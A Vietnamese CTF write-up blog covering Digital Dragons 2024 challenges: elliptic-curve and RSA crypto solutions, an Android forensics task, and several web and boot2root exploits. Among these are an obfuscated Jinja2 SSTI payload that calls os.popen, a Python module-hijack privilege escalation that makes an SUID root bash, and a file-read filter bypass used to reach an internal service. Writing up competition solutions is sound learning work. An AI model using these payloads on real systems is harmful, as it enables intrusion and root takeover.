SemiFinal + Final Digital Dragons 2024
Crypto/Math
Bài này đề bài cho một file chall_math_test.sage
với nội dung như sau
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
import hashlib
import random
p = getPrime(256)
A = random.randint(0, 2**256)
B = random.randint(0, 2**256)
E = EllipticCurve(GF(p), [A, B])
X = E.random_element()
Y = E.random_element()
print(f"{X=}") # X=(70531110072509298803201621415592601393387767551616451246154013182556851771153 : 3128592393207593101775747511252725036748347188549955655359151644135290113924 : 1)
print(f"{Y=}") # Y=(58557423359848065299975326112549968009731308453890093788309799350030839061814 : 75706164316220403423610626861470333353921225390662051210752341134842694488677 : 1)
print(f"{p=}") # p=91725037968177304595356229847249124275634668177296814741529573801095034173523
# Find A, B
# A = ...
# B = ...
# Compute J-invariant
# j_E = ...
# Computing Secret
S = int(j_E) * (X + Y)
flag = "flag{" + hashlib.md5(str(S.xy()[0]).encode()).hexdigest() + "}"
print(flag)
Dựa vào đoạn code này thì quá rõ mình cần làm gì rồi. Đầu tiên là tìm ra giá trị A và B dựa vào X, Y và p đã có. Sau đó sẽ tính j_E
và tính ra được S. Cuối cùng là md5 kết quả đó. Bài này thì không quá khó nhưng team mình mất thời gian ở đoạn cài đặt thư viện sage
(cách cài ở đây Installation Guide (sagemath.org)) và cũng không có ai quá mạnh crypto. Cuối cùng sau khi chỉnh sửa input và format thì team mình cũng đã ra kết quả
from sage.all import var, solve, GF, EllipticCurve
import hashlib
p = 91725037968177304595356229847249124275634668177296814741529573801095034173523
X_coords = (70531110072509298803201621415592601393387767551616451246154013182556851771153, 3128592393207593101775747511252725036748347188549955655359151644135290113924)
Y_coords = (58557423359848065299975326112549968009731308453890093788309799350030839061814, 75706164316220403423610626861470333353921225390662051210752341134842694488677)
A, B = var('A B')
F = GF(p)
eq1 = (X_coords[1]**2) == (X_coords[0]**3 + A*X_coords[0] + B)
eq2 = (Y_coords[1]**2) == (Y_coords[0]**3 + A*Y_coords[0] + B)
solutions = solve([eq1, eq2], A, B)
A_val = solutions[0][0].rhs()
B_val = solutions[0][1].rhs()
print(f"A = {A_val}")
print(f"B = {B_val}")
E = EllipticCurve(F, [A_val, B_val])
j_E = E.j_invariant()
print(f"j_E = {j_E}")
X = E(X_coords[0], X_coords[1])
Y = E(Y_coords[0], Y_coords[1])
sum_XY = X + Y
S = int(j_E) * sum_XY
print(f"S = {S}")
flag = "flag{" + hashlib.md5(str(S.xy()[0]).encode()).hexdigest() + "}"
print(flag)
Wonton Soup
Với bài này thì đề cho một file chal.py
với nội dung như sau:
from Crypto.Util.number import bytes_to_long, getPrime, inverse, isPrime
import random
nbits = 1024
p = getPrime(nbits // 2)
q = bytes_to_long(open('flag.txt', 'rb').read().strip() + random.randbytes(26))
assert q.bit_length() <= 512
while not isPrime(q):
q += 1
n = p * q
e = 0x10001
phi = (p-1)*(q-1)
d = inverse(e, phi)
dp = inverse(e, p - 1)
dq = inverse(e, q - 1)
def enc(m):
m = bytes_to_long(m)
c = pow(m, e, n)
return c
m = b'The quick brown fox jumps over the lazy dog and I like dragons'
c = enc(m)
with open('out.txt', 'w') as f:
f.write(f'{e = }\n')
f.write(f'{d = }\n')
f.write(f'{c = }\n')
f.write(f'{n = }\n')
Và kèm theo là một file out.txt
:
e = 65537
d = 11104012999836174730756002235665976183159876779084997801485779477565805210334358611561689522759772083449375028393701082967330945714435079891472885927608547166765267982141599159557126633999735116275942968600985062240930674550952665638332975051568142112239097174155483981899740502650254486802690098351060007813
c = 22901231112172133921223023279932848644955468094189943499578909198019077221924833200565673189376253713488688464220048897712120515832982702942290897075289971346156577914219185742348240953225147347048438364584574006395759857925164450267599965997307882299205421296903039480790759546170709029003277455548971450350
n = 58493987619183617340210282012606790540611594282685756845589062745858867942262105966234100655341787881442142210098704917163408744416600902728676032878199626884130417152696885610374378019731470282804599072068908299895512483158711696105516436984751805641649115163723043599171244465850342932433816420742930825017
Bài này thì mình không mất quá nhiều thời gian để giải vì nó khá rõ ý tưởng. Đầu tiên sẽ tạo 1 số p
là số nguyên tố có kích thước 512 bits. Tiếp theo sẽ tạo số q
bằng cách lấy flag cộng với 26 bytes ngẫu nhiên kèm theo là một số điều kiện phía dưới. Sau đó sẽ tính n
, e=65537
, phi
, private key - d
, dp
, dq
. Cuối cùng là mã hóa đoạn m
bằng cách chuyển byte thành số nguyên rồi dùng RSA để mã hóa và ghi kết quả ra file.
Như vậy là mình cần tìm được p
và q
đúng và để kiểm tra độ chính xác thì giải mã giá trị c
bao giờ được nội dung ban đầu thì đó chính là đúng. Từ q
đã tìm được mình sẽ bỏ đi 26 bytes random và thế là có flag.
from Crypto.Util.number import long_to_bytes, isPrime
import math
with open('out.txt', 'r') as f:
lines = f.readlines()
e = int(lines[0].split('=')[1].strip())
d = int(lines[1].split('=')[1].strip())
c = int(lines[2].split('=')[1].strip())
n = int(lines[3].split('=')[1].strip())
k = 1
phi = (d * e - 1) // k
for k in range(1, e):
phi = (d * e - 1) // k
a = 1
b = -(n - phi + 1)
c = n
discriminant = b * b - 4 * a * c
if discriminant >= 0:
sqrt_discriminant = int(math.isqrt(discriminant))
if sqrt_discriminant * sqrt_discriminant == discriminant:
p = (-b + sqrt_discriminant) // (2 * a)
q = (-b - sqrt_discriminant) // (2 * a)
if p * q == n and isPrime(p) and isPrime(q):
break
print(f'p = {p}')
print(f'q = {q}')
def dec(c):
m = pow(c, d, n)
return long_to_bytes(m)
decrypted_message = dec(c)
print(f'Decrypted message: {decrypted_message.decode()}')
flag_bytes = long_to_bytes(q)[:-26]
print(f'Flag: {flag_bytes.decode()}')
Android
Bài này thì đề bài cho một file evidence.7z
khi mở ra nó sẽ có nhưng file như sau:
Sau đó copy 2 file data.vmdk
và sdcard.vmdk
vào thư mục <_thư mục cài LDplayer 9>\vms\leidian0
Sau đó mở máy lên và vào app Session
Xem hết các đoạn chat trong đó và lấy được flag
Hatching Dragons
Bài này là bài web dễ nhất trong vòng chung kết này nhưng mà giờ host bị đóng rồi nên mình sẽ nêu ý tưởng vậy. Bài này khá giống một bài trong picoCTF (Who are you - picoCTF). Mình chỉ cần thêm vài header, param hay cookie phù hợp là được
Đầu tiên khi truy cập vào host thì thấy một dữ kiện là chỉ dragon mới được vào nên mình chuyển giá trị của User-agent
sang dragon
. Tiếp theo là yêu cầu username là admin thì mình thêm vào param username
với giá trị là admin
. Sau đó là có yêu cầu food
cho rồng là giá trị md5 của minotaur steaks
và có thêm 1 dữ kiện nữa là đoạn này có giá trị cookie trả về nên mình đặt vào cookie.
Cuối cùng thì bài có hint là 1 năm sau trứng rồng mới nở và mình thêm header Date
và nhận được flag.
Template - Final
Bài này thì cái tên đã cho luôn cái lỗi là SSTI. Sau khi thử một vài payload thì mình nhận thấy đã bị filter một số ký tự như ".'0-9
và một số ký tự nữa mà mình không thể nhớ nữa. Đoạn này bypass mãi không được nên mình dùng tool github.com/Marven11/Fenjing. Đợi một lúc thì cũng đã có payload sau đó chỉ cần chỉnh sửa lại một chút là có flag
{{cycler[dict(NEXT=x)|first|lower][lipsum|escape|batch((dict(xx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length))|list|first|last*dict(xx=x)|join|length+dict(GLOBALS=x)|first|lower+lipsum|escape|batch((dict(xx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length))|list|first|last*dict(xx=x)|join|length][lipsum|escape|batch((dict(xx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length))|list|first|last*dict(xx=x)|join|length+dict(BUILTINS=x)|first|lower+lipsum|escape|batch((dict(xx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length))|list|first|last*dict(xx=x)|join|length][lipsum|escape|batch((dict(xx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length))|list|first|last*dict(xx=x)|join|length+dict(IMPORT=x)|first|lower+lipsum|escape|batch((dict(xx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length))|list|first|last*dict(xx=x)|join|length](dict(OS=x)|first|lower)[dict(POPEN=x)|first|lower](((lipsum()|urlencode|first+dict(c=x)|join)*dict(xxxxxxxxxxxxxxx=x)|join|length)|format((dict(xxxxxxxxxxx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xx=x)|join|length),(dict(xxxxxxxxxxx=x)|join|length*dict(xxxxxxxxx=x)|join|length),(dict(xxxxxxxxxxxxx=x)|join|length*dict(xxxxxxxx=x)|join|length),(((dict(xxxx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(x=x)|join|length))*dict(xxx=x)|join|length),(dict(xxxxxxxx=x)|join|length*dict(xxxx=x)|join|length),(dict(xxxxxxxxxxxxxxxxx=x)|join|length*dict(xxxxxx=x)|join|length),(dict(xxxxxxxxxxxxxxxxx=x)|join|length*dict(xxx=x)|join|length),(dict(xxxxxxxxxxx=x)|join|length*dict(xxxxxxxxxx=x)|join|length),(dict(xxxxxxxx=x)|join|length*dict(xxxx=x)|join|length),(dict(xxxxxxxx=x)|join|length*dict(xxxx=x)|join|length),(dict(xxxxxxxxxxx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxxxxx=x)|join|length),(dict(xxxxxxx=x)|join|length*dict(xxxxxxx=x)|join|length),(dict(xxxxxxxxxxx=x)|join|length*dict(xxxxxxxxxx=x)|join|length),(dict(xxxxxxxxxxx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxx=x)|join|length),(dict(xxxxxx=x)|join|length*dict(xxxxxxxxx=x)|join|length+dict(xxxxx=x)|join|length)))[dict(READ=x)|first|lower]()}}
Enterprise
Bài này thì cũng như các bài boot2root. Khi dirsearch thì thấy những folder .git nên mình dùng git-dumper
để tải hết về. Sau đó dùng git-cola
để xem và từ đó lấy được credentials.
Sau đó ssh với credentials này qua port 2222, như mọi lần thì mình check sudo right trước và có luôn đó là /usr/bin/python3 test.py
. Kiểm tra file test.py
thì có nội dung
import webbrowser
...
Dựa vào đây mình sẽ tạo một file webbrowser.py
với với mục đích copy /usr/bin/bash
sang /tmp/x
và cấp cho nó quyền SUID.
import os
os.system('cp /usr/bin/bash /tmp/x; chmod u+s /tmp/x')
Rồi khi mình chạy sudo /usr/bin/python3 test.py
sẽ tạo ra một file /tmp/x
với người sở hữu là root và có quyền SUID. Do đó nếu mình chạy file /tmp/x
thì nó sẽ được chạy dưới quyền của root
. Cuối cùng là đọc flag thôi
/tmp/x -p
cat /root/fl*
Included
Bài này kết thúc giải rồi team mình mới làm ra, cụ thể là sau 2p. Bài cho phép ta nhập vào tên file, server sẽ đọc nội dung của file đó và in ra màn hình. Đầu tiên là mình thử luôn file://index.php
và lấy được source để phân tích
<html>
<head>
<title>See something?</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous" />
</head>
<body class="container">
<nav class="navbar navbar-expand-lg navbar-light bg-light" style="width: 100%;"> <a class="navbar-brand" href="/">Quotes</a>
<div class="collapse navbar-collapse" id="navbarNavDropdown">
<ul class="navbar-nav">
<li class="nav-item"> <a class="nav-link" href="?sp=edison.php">Edison</a> </li>
<li class="nav-item"> <a class="nav-link" href="?sp=einstein.php">Einstein</a> </li>
<li class="nav-item"> <a class="nav-link" href="?sp=everyone.php">Everyone</a> </li>
</ul>
</div>
</nav>
<h1 class="display-2 mt-4"><strong>The flag is somewhere here, in this machine</strong></h1>
<h3 class="display-3 mt-3">Maybe this space helps you nothing O.O</h3>
<p>While waiting, why not have a quote?</p>
<p><?php $content = "";
if (isset($_GET["sp"])) {
$name = $_GET["sp"];
$filtered_name = filter_in($name);
try {
echo htmlspecialchars(@file_get_contents($filtered_name));
} catch (Exception $e) {
echo $e;
}
} else {
$content = "Placeholder";
} ?></p>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
</body>
</html> <?php function filter_in($input)
{
$input = strtolower($input);
$input = preg_replace("/http:/", "", $input);
$input = preg_replace("/[<>'\"]/", "", $input);
$input = preg_replace("|[\.]+/|", "", $input);
$input = preg_replace("|^/([^/]*)/|", "", $input);
return $input;
} ?>
Sau đó mình đọc /etc/passwd
được và có một điều đặc biệt là có user localhost30147
. Đến lúc này mình nghĩ là phải đoán ra tên file của flag rồi, thử mục lúc thì thấy bất lực nên mình đổi sang scan host thì lại port 22 và 80 đang expose, port 22 thì lại chỉ không cho auth bằng password mà cần dùng key. Đến đây mình chuyển hướng sang tìm file private key để truy cập đến nhưng cũng không được. Gần hết giờ thì mình biết localhost30147 đó chính là một cái hint. Khi truy cập đến localhost:30147 nhưng mà cần bypass đoạn filter khi đó sẽ thành hhttp:ttp://localhost:30147. Lúc này sẽ có một đoạn /flag
. Khi truy cập vòa thì có thêm hint là cần có param
Vậy param sẽ là code
và giá trị của nó cần phải đoán. Cuối cùng thì giá trị của param code
đó chính là password
. :vvv
Vậy là kết thúc giải và cảm ơn mọi người đã đọc blog này. Hẹn gặp lại mọi người ở những blog sau.